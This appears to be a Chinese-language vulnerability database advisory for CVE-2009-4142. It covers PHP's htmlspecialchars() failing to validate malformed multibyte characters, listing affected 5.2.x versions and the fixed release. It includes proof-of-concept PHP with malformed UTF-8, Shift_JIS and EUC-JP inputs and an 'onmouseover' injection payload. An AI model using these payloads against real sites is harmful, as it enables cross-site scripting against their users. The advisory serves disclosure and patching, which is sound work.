PHP 'htmlspecialcharacters()'畸形多字节字符跨站脚本漏洞

2009-12-1800:00:00

Root

www.seebug.org

0.02 Low

EPSS

Percentile

87.6%

JSON

Bugraq ID: 37389
CVE ID：CVE-2009-4142

PHP是一款流行的网络编程语言。
htmlspecialchars()函数不严格检查多字节序列，远程攻击者可以利用漏洞进行跨站脚本攻击。

PHP PHP 5.2.11
PHP PHP 5.2.10
PHP PHP 5.2.9
PHP PHP 5.2.8
PHP PHP 5.2.7
PHP PHP 5.2.6
PHP PHP 5.2.5
PHP PHP 5.2.4
PHP PHP 5.2.3
PHP PHP 5.2.2
PHP PHP 5.2.1
PHP PHP 5.2
PHP 5.2.12已经修复此漏洞，建议用户下载使用：
http://www.php.net/releases/5_2_12.php


                                                // overlong UTF-8 sequence
echo htmlspecialchars(&quot;A\xC0\xAF&amp;&quot;,     ENT_QUOTES, 'UTF-8');
// invalid Shift_JIS sequence
echo htmlspecialchars(&quot;B\x80&amp;&quot;,         ENT_QUOTES, 'Shift_JIS');
echo htmlspecialchars(&quot;C\x81\x7f&amp;&quot;,     ENT_QUOTES, 'Shift_JIS');
// invalid EUC-JP sequence
echo htmlspecialchars(&quot;D\x80&amp;&quot;,         ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars(&quot;E\xA1\xFF&amp;&quot;,     ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars(&quot;F\x8E\xFF&amp;&quot;,     ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars(&quot;G\x8F\xA1\xFF&amp;&quot;, ENT_QUOTES, 'EUC-JP');
-----------------------------------------------------------------
&lt;?php
$_GET['a1'] = &quot;\xf0&quot;; // \xf0 - \xfc で可能
$_GET['a2'] = &quot; href=dummy onmouseover=alert(document.title) dummy=dummy&quot;;
header( &quot;Content-Type:text/html; charset=Shift_JIS&quot; );
?&gt;
&lt;html&gt;
&lt;head&gt;&lt;title&gt;Shift_JIS test&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
&lt;p&gt;&lt;a title=&quot;&lt;?php echo htmlspecialchars( $_GET['a1'], ENT_QUOTES, 'SJIS' ) ?&gt;&quot; href=&quot;&lt;?php echo htmlspecialchars( $_GET['a2'], ENT_QUOTES, 'SJIS' ) ?&gt;&quot;&gt;test&lt;/a&gt;&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;